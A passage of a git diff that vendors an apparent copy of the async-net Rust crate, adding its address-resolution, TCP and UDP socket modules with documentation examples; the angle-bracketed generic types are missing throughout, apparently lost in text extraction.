ToSocketAddrsFuture { + let (ip, port) = *self; + Sealed::to_socket_addrs(&SocketAddrV6::new(ip, port, 0, 0)) + } +} + +impl AsyncToSocketAddrs for (&str, u16) {} + +impl Sealed for (&str, u16) { + type Iter = std::vec::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + let (host, port) = *self; + + if let Ok(addr) = host.parse::() { + let addr = SocketAddrV4::new(addr, port); + return ToSocketAddrsFuture::Ready(Ok(vec![SocketAddr::V4(addr)].into_iter())); + } + + if let Ok(addr) = host.parse::() { + let addr = SocketAddrV6::new(addr, port, 0, 0); + return ToSocketAddrsFuture::Ready(Ok(vec![SocketAddr::V6(addr)].into_iter())); + } + + let host = host.to_string(); + let future = unblock(move || { + let addr = (host.as_str(), port); + ToSocketAddrs::to_socket_addrs(&addr) + }); + ToSocketAddrsFuture::Resolving(Box::pin(future)) + } +} + +impl AsyncToSocketAddrs for (String, u16) {} + +impl Sealed for (String, u16) { + type Iter = std::vec::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + Sealed::to_socket_addrs(&(&*self.0, self.1)) + } +} + +impl AsyncToSocketAddrs for str {} + +impl Sealed for str { + type Iter = std::vec::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + if let Ok(addr) = self.parse() { + return ToSocketAddrsFuture::Ready(Ok(vec![addr].into_iter())); + } + + let addr = self.to_string(); + let future = unblock(move || std::net::ToSocketAddrs::to_socket_addrs(addr.as_str())); + ToSocketAddrsFuture::Resolving(Box::pin(future)) + } +} + +impl AsyncToSocketAddrs for &[SocketAddr] {} + +impl<'a> Sealed for &'a [SocketAddr] { + type Iter = std::iter::Cloned>; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + ToSocketAddrsFuture::Ready(Ok(self.iter().cloned())) + } +} + +impl AsyncToSocketAddrs for &T {} + +impl Sealed for &T { + type Iter = T::Iter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + Sealed::to_socket_addrs(&**self) + } +} + +impl AsyncToSocketAddrs for String {} + +impl Sealed for String { + type Iter = std::vec::IntoIter; + + fn to_socket_addrs(&self) -> ToSocketAddrsFuture { + Sealed::to_socket_addrs(&**self) + } +} diff --git a/lib/malio/async-net/src/lib.rs b/lib/malio/async-net/src/lib.rs new file mode 100644 index 0000000..a2fcdd9 --- /dev/null +++ b/lib/malio/async-net/src/lib.rs @@ -0,0 +1,71 @@ +//! Async networking primitives for TCP/UDP/Unix communication. +//! +//! This crate is an async version of [`std::net`] and [`std::os::unix::net`]. +//! +//! # Implementation +//! +//! This crate uses [`async-io`] for async I/O and [`blocking`] for DNS lookups. +//! +//! [`async-io`]: https://docs.rs/async-io +//! [`blocking`]: https://docs.rs/blocking +//! +//! # Examples +//! +//! A simple UDP server that echoes messages back to the sender: +//! +//! ```no_run +//! use async_net::UdpSocket; +//! +//! # futures_lite::future::block_on(async { +//! let socket = UdpSocket::bind("127.0.0.1:8080").await?; +//! let mut buf = vec![0u8; 1024]; +//! +//! loop { +//! let (n, addr) = socket.recv_from(&mut buf).await?; +//! socket.send_to(&buf[..n], &addr).await?; +//! } +//! # std::io::Result::Ok(()) }); +//! ``` + +#![forbid(unsafe_code)] +#![warn(missing_docs, missing_debug_implementations, rust_2018_idioms)] +#![doc( + html_favicon_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] +#![doc( + html_logo_url = "https://raw.githubusercontent.com/smol-rs/smol/master/assets/images/logo_fullsize_transparent.png" +)] + +#[cfg(unix)] +pub mod unix; + +mod addr; +mod tcp; +mod udp; + +pub use addr::AsyncToSocketAddrs; +pub use tcp::{Incoming, TcpListener, TcpStream}; +pub use udp::UdpSocket; + +use std::io; + +#[doc(no_inline)] +pub use std::net::{IpAddr, Ipv4Addr, Ipv6Addr, Shutdown, SocketAddr, SocketAddrV4, SocketAddrV6}; + +#[doc(no_inline)] +pub use std::net::AddrParseError; + +/// Converts or resolves addresses to [`SocketAddr`] values. +/// +/// # Examples +/// +/// ``` +/// # futures_lite::future::block_on(async { +/// for addr in async_net::resolve("google.com:80").await? { +/// println!("{}", addr); +/// } +/// # std::io::Result::Ok(()) }); +/// ``` +pub async fn resolve(addr: A) -> io::Result> { + Ok(addr.to_socket_addrs().await?.collect()) +} diff --git a/lib/malio/async-net/src/tcp.rs b/lib/malio/async-net/src/tcp.rs new file mode 100644 index 0000000..81ba45e --- /dev/null +++ b/lib/malio/async-net/src/tcp.rs @@ -0,0 +1,765 @@ +use std::fmt; +use std::io::{self, IoSlice, Read as _, Write as _}; +use std::net::{Shutdown, SocketAddr}; +#[cfg(unix)] +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; +#[cfg(windows)] +use std::os::windows::io::{AsRawSocket, AsSocket, BorrowedSocket, OwnedSocket, RawSocket}; +use std::panic::{RefUnwindSafe, UnwindSafe}; +use std::pin::Pin; +use std::sync::Arc; +use std::task::{Context, Poll}; + +use async_io::Async; +use futures_lite::{prelude::*, ready}; + +use crate::addr::AsyncToSocketAddrs; + +/// A TCP server, listening for connections. +/// +/// After creating a [`TcpListener`] by [`bind`][`TcpListener::bind()`]ing it to an address, it +/// listens for incoming TCP connections. These can be accepted by calling +/// [`accept()`][`TcpListener::accept()`] or by awaiting items from the stream of +/// [`incoming`][`TcpListener::incoming()`] connections. +/// +/// Cloning a [`TcpListener`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. +/// +/// The Transmission Control Protocol is specified in [IETF RFC 793]. +/// +/// [IETF RFC 793]: https://tools.ietf.org/html/rfc793 +/// +/// # Examples +/// +/// ```no_run +/// use async_net::TcpListener; +/// use futures_lite::prelude::*; +/// +/// # futures_lite::future::block_on(async { +/// let listener = TcpListener::bind("127.0.0.1:8080").await?; +/// let mut incoming = listener.incoming(); +/// +/// while let Some(stream) = incoming.next().await { +/// let mut stream = stream?; +/// stream.write_all(b"hello").await?; +/// } +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Clone, Debug)] +pub struct TcpListener { + inner: Arc>, +} + +impl TcpListener { + fn new(inner: Arc>) -> TcpListener { + TcpListener { inner } + } + + /// Creates a new [`TcpListener`] bound to the given address. + /// + /// Binding with a port number of 0 will request that the operating system assigns an available + /// port to this listener. The assigned port can be queried via the + /// [`local_addr()`][`TcpListener::local_addr()`] method. + /// + /// If `addr` yields multiple addresses, binding will be attempted with each of the addresses + /// until one succeeds and returns the listener. If none of the addresses succeed in creating a + /// listener, the error from the last attempt is returned. + /// + /// # Examples + /// + /// Create a TCP listener bound to `127.0.0.1:80`: + /// + /// ```no_run + /// use async_net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:80").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// Create a TCP listener bound to `127.0.0.1:80`. If that address is unavailable, then try + /// binding to `127.0.0.1:443`: + /// + /// ```no_run + /// use async_net::{SocketAddr, TcpListener}; + /// + /// # futures_lite::future::block_on(async { + /// let addrs = [ + /// SocketAddr::from(([127, 0, 0, 1], 80)), + /// SocketAddr::from(([127, 0, 0, 1], 443)), + /// ]; + /// let listener = TcpListener::bind(&addrs[..]).await.unwrap(); + /// # std::io::Result::Ok(()) }); + pub async fn bind(addr: A) -> io::Result { + let mut last_err = None; + + for addr in addr.to_socket_addrs().await? { + match Async::::bind(addr) { + Ok(listener) => return Ok(TcpListener::new(Arc::new(listener))), + Err(err) => last_err = Some(err), + } + } + + Err(last_err.unwrap_or_else(|| { + io::Error::new( + io::ErrorKind::InvalidInput, + "could not resolve to any of the addresses", + ) + })) + } + + /// Returns the local address this listener is bound to. + /// + /// # Examples + /// + /// Bind to port 0 and then see which port was assigned by the operating system: + /// + /// ```no_run + /// use async_net::{SocketAddr, TcpListener}; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:0").await?; + /// println!("Listening on {}", listener.local_addr()?); + /// # std::io::Result::Ok(()) }); + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } + + /// Accepts a new incoming connection. + /// + /// Returns a TCP stream and the address it is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:8080").await?; + /// let (stream, addr) = listener.accept().await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn accept(&self) -> io::Result<(TcpStream, SocketAddr)> { + let (stream, addr) = self.inner.accept().await?; + Ok((TcpStream::new(Arc::new(stream)), addr)) + } + + /// Returns a stream of incoming connections. + /// + /// Iterating over this stream is equivalent to calling [`accept()`][`TcpListener::accept()`] + /// in a loop. The stream of connections is infinite, i.e awaiting the next connection will + /// never result in [`None`]. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpListener; + /// use futures_lite::prelude::*; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:0").await?; + /// let mut incoming = listener.incoming(); + /// + /// while let Some(stream) = incoming.next().await { + /// let mut stream = stream?; + /// stream.write_all(b"hello").await?; + /// } + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn incoming(&self) -> Incoming<'_> { + Incoming { + incoming: Box::pin(self.inner.incoming()), + } + } + + /// Gets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:80").await?; + /// listener.set_ttl(100)?; + /// assert_eq!(listener.ttl()?, 100); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn ttl(&self) -> io::Result { + self.inner.get_ref().ttl() + } + + /// Sets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpListener; + /// + /// # futures_lite::future::block_on(async { + /// let listener = TcpListener::bind("127.0.0.1:80").await?; + /// listener.set_ttl(100)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_ttl(&self, ttl: u32) -> io::Result<()> { + self.inner.get_ref().set_ttl(ttl) + } +} + +impl From> for TcpListener { + fn from(listener: Async) -> TcpListener { + TcpListener::new(Arc::new(listener)) + } +} + +impl TryFrom for TcpListener { + type Error = io::Error; + + fn try_from(listener: std::net::TcpListener) -> io::Result { + Ok(TcpListener::new(Arc::new(Async::new(listener)?))) + } +} + +impl From for Arc> { + fn from(val: TcpListener) -> Self { + val.inner + } +} + +#[cfg(unix)] +impl AsRawFd for TcpListener { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for TcpListener { + fn as_fd(&self) -> BorrowedFd<'_> { + self.inner.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for TcpListener { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Self::try_from(std::net::TcpListener::from(value)) + } +} + +#[cfg(windows)] +impl AsRawSocket for TcpListener { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} + +#[cfg(windows)] +impl AsSocket for TcpListener { + fn as_socket(&self) -> BorrowedSocket<'_> { + self.inner.get_ref().as_socket() + } +} + +#[cfg(windows)] +impl TryFrom for TcpListener { + type Error = io::Error; + + fn try_from(value: OwnedSocket) -> Result { + Self::try_from(std::net::TcpListener::from(value)) + } +} + +/// A stream of incoming TCP connections. +/// +/// This stream is infinite, i.e awaiting the next connection will never result in [`None`]. It is +/// created by the [`TcpListener::incoming()`] method. +pub struct Incoming<'a> { + incoming: + Pin>> + Send + Sync + 'a>>, +} + +impl Stream for Incoming<'_> { + type Item = io::Result; + + fn poll_next(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + let res = ready!(Pin::new(&mut self.incoming).poll_next(cx)); + Poll::Ready(res.map(|res| res.map(|stream| TcpStream::new(Arc::new(stream))))) + } +} + +impl fmt::Debug for Incoming<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(f, "Incoming {{ ... }}") + } +} + +/// A TCP connection. +/// +/// A [`TcpStream`] can be created by [`connect`][`TcpStream::connect()`]ing to an endpoint or by +/// [`accept`][`TcpListener::accept()`]ing an incoming connection. +/// +/// [`TcpStream`] is a bidirectional stream that implements traits [`AsyncRead`] and +/// [`AsyncWrite`]. +/// +/// Cloning a [`TcpStream`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. The reading and writing portions of the connection can also +/// be shut down individually with the [`shutdown()`][`TcpStream::shutdown()`] method. +/// +/// The Transmission Control Protocol is specified in [IETF RFC 793]. +/// +/// [IETF RFC 793]: https://tools.ietf.org/html/rfc793 +/// +/// # Examples +/// +/// ```no_run +/// use async_net::TcpStream; +/// use futures_lite::prelude::*; +/// +/// # futures_lite::future::block_on(async { +/// let mut stream = TcpStream::connect("127.0.0.1:8080").await?; +/// stream.write_all(b"hello").await?; +/// +/// let mut buf = vec![0u8; 1024]; +/// let n = stream.read(&mut buf).await?; +/// # std::io::Result::Ok(()) }); +/// ``` +pub struct TcpStream { + inner: Arc>, + readable: Option>, + writable: Option>, +} + +impl UnwindSafe for TcpStream {} +impl RefUnwindSafe for TcpStream {} + +impl TcpStream { + fn new(inner: Arc>) -> TcpStream { + TcpStream { + inner, + readable: None, + writable: None, + } + } + + /// Creates a TCP connection to the specified address. + /// + /// This method will create a new TCP socket and attempt to connect it to the provided `addr`, + /// + /// If `addr` yields multiple addresses, connecting will be attempted with each of the + /// addresses until connecting to one succeeds. If none of the addresses result in a successful + /// connection, the error from the last connect attempt is returned. + /// + /// # Examples + /// + /// Connect to `example.com:80`: + /// + /// ``` + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("example.com:80").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// Connect to `127.0.0.1:8080`. If that fails, then try connecting to `127.0.0.1:8081`: + /// + /// ```no_run + /// use async_net::{SocketAddr, TcpStream}; + /// + /// # futures_lite::future::block_on(async { + /// let addrs = [ + /// SocketAddr::from(([127, 0, 0, 1], 8080)), + /// SocketAddr::from(([127, 0, 0, 1], 8081)), + /// ]; + /// let stream = TcpStream::connect(&addrs[..]).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn connect(addr: A) -> io::Result { + let mut last_err = None; + + for addr in addr.to_socket_addrs().await? { + match Async::::connect(addr).await { + Ok(stream) => return Ok(TcpStream::new(Arc::new(stream))), + Err(e) => last_err = Some(e), + } + } + + Err(last_err.unwrap_or_else(|| { + io::Error::new( + io::ErrorKind::InvalidInput, + "could not connect to any of the addresses", + ) + })) + } + + /// Returns the local address this stream is bound to. + /// + /// # Examples + /// + /// ``` + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("example.com:80").await?; + /// println!("Local address is {}", stream.local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } + + /// Returns the remote address this stream is connected to. + /// + /// # Examples + /// + /// ``` + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("example.com:80").await?; + /// println!("Connected to {}", stream.peer_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn peer_addr(&self) -> io::Result { + self.inner.get_ref().peer_addr() + } + + /// Shuts down the read half, write half, or both halves of this connection. + /// + /// This method will cause all pending and future I/O in the given directions to return + /// immediately with an appropriate value (see the documentation of [`Shutdown`]). + /// + /// [`Shutdown`]: https://doc.rust-lang.org/std/net/enum.Shutdown.html + /// + /// # Examples + /// + /// ```no_run + /// use async_net::{Shutdown, TcpStream}; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// stream.shutdown(Shutdown::Both)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn shutdown(&self, how: std::net::Shutdown) -> std::io::Result<()> { + self.inner.get_ref().shutdown(how) + } + + /// Receives data without removing it from the queue. + /// + /// On success, returns the number of bytes peeked. + /// + /// Successive calls return the same data. This is accomplished by passing `MSG_PEEK` as a flag + /// to the underlying `recv` system call. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// + /// let mut buf = vec![0; 1024]; + /// let n = stream.peek(&mut buf).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn peek(&self, buf: &mut [u8]) -> io::Result { + self.inner.peek(buf).await + } + + /// Gets the value of the `TCP_NODELAY` option for this socket. + /// + /// If set to `true`, this option disables the [Nagle algorithm][nagle-wiki]. This means that + /// written data is always sent as soon as possible, even if there is only a small amount of + /// it. + /// + /// When set to `false`, written data is buffered until there is a certain amount to send out, + /// thereby avoiding the frequent sending of small packets. + /// + /// [nagle-wiki]: https://en.wikipedia.org/wiki/Nagle%27s_algorithm + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// println!("TCP_NODELAY is set to {}", stream.nodelay()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn nodelay(&self) -> io::Result { + self.inner.get_ref().nodelay() + } + + /// Sets the value of the `TCP_NODELAY` option for this socket. + /// + /// If set to `true`, this option disables the [Nagle algorithm][nagle-wiki]. This means that + /// written data is always sent as soon as possible, even if there is only a small amount of + /// it. + /// + /// When set to `false`, written data is buffered until there is a certain amount to send out, + /// thereby avoiding the frequent sending of small packets. + /// + /// [nagle-wiki]: https://en.wikipedia.org/wiki/Nagle%27s_algorithm + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// stream.set_nodelay(false)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_nodelay(&self, nodelay: bool) -> io::Result<()> { + self.inner.get_ref().set_nodelay(nodelay) + } + + /// Gets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// println!("IP_TTL is set to {}", stream.ttl()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn ttl(&self) -> io::Result { + self.inner.get_ref().ttl() + } + + /// Sets the value of the `IP_TTL` option for this socket. + /// + /// This option configures the time-to-live field that is used in every packet sent from this + /// socket. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::TcpStream; + /// + /// # futures_lite::future::block_on(async { + /// let stream = TcpStream::connect("127.0.0.1:8080").await?; + /// stream.set_ttl(100)?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn set_ttl(&self, ttl: u32) -> io::Result<()> { + self.inner.get_ref().set_ttl(ttl) + } +} + +impl fmt::Debug for TcpStream { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + self.inner.fmt(f) + } +} + +impl Clone for TcpStream { + fn clone(&self) -> TcpStream { + TcpStream::new(self.inner.clone()) + } +} + +impl From> for TcpStream { + fn from(stream: Async) -> TcpStream { + TcpStream::new(Arc::new(stream)) + } +} + +impl From for Arc> { + fn from(val: TcpStream) -> Self { + val.inner + } +} + +impl TryFrom for TcpStream { + type Error = io::Error; + + fn try_from(stream: std::net::TcpStream) -> io::Result { + Ok(TcpStream::new(Arc::new(Async::new(stream)?))) + } +} + +#[cfg(unix)] +impl AsRawFd for TcpStream { + fn as_raw_fd(&self) -> RawFd { + self.inner.as_raw_fd() + } +} + +#[cfg(unix)] +impl AsFd for TcpStream { + fn as_fd(&self) -> BorrowedFd<'_> { + self.inner.get_ref().as_fd() + } +} + +#[cfg(unix)] +impl TryFrom for TcpStream { + type Error = io::Error; + + fn try_from(value: OwnedFd) -> Result { + Self::try_from(std::net::TcpStream::from(value)) + } +} + +#[cfg(windows)] +impl AsRawSocket for TcpStream { + fn as_raw_socket(&self) -> RawSocket { + self.inner.as_raw_socket() + } +} + +#[cfg(windows)] +impl AsSocket for TcpStream { + fn as_socket(&self) -> BorrowedSocket<'_> { + self.inner.get_ref().as_socket() + } +} + +#[cfg(windows)] +impl TryFrom for TcpStream { + type Error = io::Error; + + fn try_from(value: OwnedSocket) -> Result { + Self::try_from(std::net::TcpStream::from(value)) + } +} + +impl AsyncRead for TcpStream { + fn poll_read( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &mut [u8], + ) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().read(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.readable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.readable.is_none() { + self.readable = Some(self.inner.clone().readable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.readable { + let res = ready!(Pin::new(f).poll(cx)); + self.readable = None; + res?; + } + } + } +} + +impl AsyncWrite for TcpStream { + fn poll_write( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + buf: &[u8], + ) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().write(buf) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.writable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.writable.is_none() { + self.writable = Some(self.inner.clone().writable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.writable { + let res = ready!(Pin::new(f).poll(cx)); + self.writable = None; + res?; + } + } + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().flush() { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.writable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.writable.is_none() { + self.writable = Some(self.inner.clone().writable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.writable { + let res = ready!(Pin::new(f).poll(cx)); + self.writable = None; + res?; + } + } + } + + fn poll_close(self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll> { + Poll::Ready(self.inner.get_ref().shutdown(Shutdown::Write)) + } + + fn poll_write_vectored( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &[IoSlice<'_>], + ) -> Poll> { + loop { + // Attempt the non-blocking operation. + match self.inner.get_ref().write_vectored(bufs) { + Err(err) if err.kind() == io::ErrorKind::WouldBlock => {} + res => { + self.writable = None; + return Poll::Ready(res); + } + } + + // Initialize the future to wait for readiness. + if self.writable.is_none() { + self.writable = Some(self.inner.clone().writable_owned()); + } + + // Poll the future for readiness. + if let Some(f) = &mut self.writable { + let res = ready!(Pin::new(f).poll(cx)); + self.writable = None; + res?; + } + } + } +} diff --git a/lib/malio/async-net/src/udp.rs b/lib/malio/async-net/src/udp.rs new file mode 100644 index 0000000..613fba4 --- /dev/null +++ b/lib/malio/async-net/src/udp.rs @@ -0,0 +1,662 @@ +use std::io; +use std::net::{Ipv4Addr, Ipv6Addr, SocketAddr}; +#[cfg(unix)] +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; +#[cfg(windows)] +use std::os::windows::io::{AsRawSocket, AsSocket, BorrowedSocket, OwnedSocket, RawSocket}; +use std::sync::Arc; + +use async_io::Async; + +use crate::addr::AsyncToSocketAddrs; + +/// A UDP socket. +/// +/// After creating a [`UdpSocket`] by [`bind`][`UdpSocket::bind()`]ing it to a socket address, data +/// can be [sent to] and [received from] any other socket address. +/// +/// Cloning a [`UdpSocket`] creates another handle to the same socket. The socket will be closed +/// when all handles to it are dropped. +/// +/// Although UDP is a connectionless protocol, this implementation provides an interface to set an +/// address where data should be sent and received from. After setting a remote address with +/// [`connect()`][`UdpSocket::connect()`], data can be sent to and received from that address with +/// [`send()`][`UdpSocket::send()`] and [`recv()`][`UdpSocket::recv()`]. +/// +/// As stated in the User Datagram Protocol's specification in [IETF RFC 768], UDP is an unordered, +/// unreliable protocol. Refer to [`TcpListener`][`super::TcpListener`] and +/// [`TcpStream`][`super::TcpStream`] for TCP primitives. +/// +/// [received from]: UdpSocket::recv_from() +/// [sent to]: UdpSocket::send_to() +/// [IETF RFC 768]: https://tools.ietf.org/html/rfc768 +/// +/// # Examples +/// +/// ```no_run +/// use async_net::UdpSocket; +/// +/// # futures_lite::future::block_on(async { +/// let socket = UdpSocket::bind("127.0.0.1:8080").await?; +/// let mut buf = vec![0u8; 20]; +/// +/// loop { +/// // Receive a single datagram message. +/// // If `buf` is too small to hold the entire message, it will be cut off. +/// let (n, addr) = socket.recv_from(&mut buf).await?; +/// +/// // Send the message back to the same address that has sent it. +/// socket.send_to(&buf[..n], &addr).await?; +/// } +/// # std::io::Result::Ok(()) }); +/// ``` +#[derive(Clone, Debug)] +pub struct UdpSocket { + inner: Arc>, +} + +impl UdpSocket { + fn new(inner: Arc>) -> UdpSocket { + UdpSocket { inner } + } + + /// Creates a new [`UdpSocket`] bound to the given address. + /// + /// Binding with a port number of 0 will request that the operating system assigns an available + /// port to this socket. The assigned port can be queried via the + /// [`local_addr()`][`UdpSocket::local_addr()`] method. + /// + /// If `addr` yields multiple addresses, binding will be attempted with each of the addresses + /// until one succeeds and returns the socket. If none of the addresses succeed in creating a + /// socket, the error from the last attempt is returned. + /// + /// # Examples + /// + /// Create a UDP socket bound to `127.0.0.1:3400`: + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:3400").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + /// + /// Create a UDP socket bound to `127.0.0.1:3400`. If that address is unavailable, then try + /// binding to `127.0.0.1:3401`: + /// + /// ```no_run + /// use async_net::{SocketAddr, UdpSocket}; + /// + /// # futures_lite::future::block_on(async { + /// let addrs = [ + /// SocketAddr::from(([127, 0, 0, 1], 3400)), + /// SocketAddr::from(([127, 0, 0, 1], 3401)), + /// ]; + /// let socket = UdpSocket::bind(&addrs[..]).await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn bind(addr: A) -> io::Result { + let mut last_err = None; + + for addr in addr.to_socket_addrs().await? { + match Async::::bind(addr) { + Ok(socket) => return Ok(UdpSocket::new(Arc::new(socket))), + Err(err) => last_err = Some(err), + } + } + + Err(last_err.unwrap_or_else(|| { + io::Error::new( + io::ErrorKind::InvalidInput, + "could not bind to any of the addresses", + ) + })) + } + + /// Returns the local address this socket is bound to. + /// + /// This can be useful, for example, when binding to port 0 to figure out which port was + /// actually bound. + /// + /// # Examples + /// + /// Bind to port 0 and then see which port was assigned by the operating system: + /// + /// ```no_run + /// use async_net::{SocketAddr, UdpSocket}; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:0").await?; + /// println!("Bound to {}", socket.local_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn local_addr(&self) -> io::Result { + self.inner.get_ref().local_addr() + } + + /// Returns the remote address this socket is connected to. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// socket.connect("192.168.0.1:41203").await?; + /// println!("Connected to {}", socket.peer_addr()?); + /// # std::io::Result::Ok(()) }); + /// ``` + pub fn peer_addr(&self) -> io::Result { + self.inner.get_ref().peer_addr() + } + + /// Connects the UDP socket to an address. + /// + /// When connected, methods [`send()`][`UdpSocket::send()`] and [`recv()`][`UdpSocket::recv()`] + /// will use the specified address for sending and receiving messages. Additionally, a filter + /// will be applied to [`recv_from()`][`UdpSocket::recv_from()`] so that it only receives + /// messages from that same address. + /// + /// If `addr` yields multiple addresses, connecting will be attempted with each of the + /// addresses until the operating system accepts one. If none of the addresses are accepted, + /// the error from the last attempt is returned. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:3400").await?; + /// socket.connect("127.0.0.1:8080").await?; + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn connect(&self, addr: A) -> io::Result<()> { + let mut last_err = None; + + for addr in addr.to_socket_addrs().await? { + match self.inner.get_ref().connect(addr) { + Ok(()) => return Ok(()), + Err(err) => last_err = Some(err), + } + } + + Err(last_err.unwrap_or_else(|| { + io::Error::new( + io::ErrorKind::InvalidInput, + "could not connect to any of the addresses", + ) + })) + } + + /// Receives a single datagram message. + /// + /// On success, returns the number of bytes received and the address message came from. + /// + /// This method must be called with a valid byte buffer of sufficient size to hold a message. + /// If the received message is too long to fit into the buffer, it may be truncated. + /// + /// # Examples + /// + /// ```no_run + /// use async_net::UdpSocket; + /// + /// # futures_lite::future::block_on(async { + /// let socket = UdpSocket::bind("127.0.0.1:34254").await?; + /// + /// let mut buf = vec![0u8; 1024]; + /// let (n, addr) = socket.recv_from(&mut buf).await?; + /// println!("Received {} bytes from {}", n, addr); + /// # std::io::Result::Ok(()) }); + /// ``` + pub async fn recv_from(&self, buf: &mut [u8]) -> io::Result<(usize, SocketAddr)> { + self.inner.recv_from(buf).await + } + + /// Receives a single datagram message without removing it from the queue. + /// + /// On success, returns the number of bytes peeked and the address message came from. + /// + /// This method must be called with a valid byte buffer of sufficient size to hold a message. 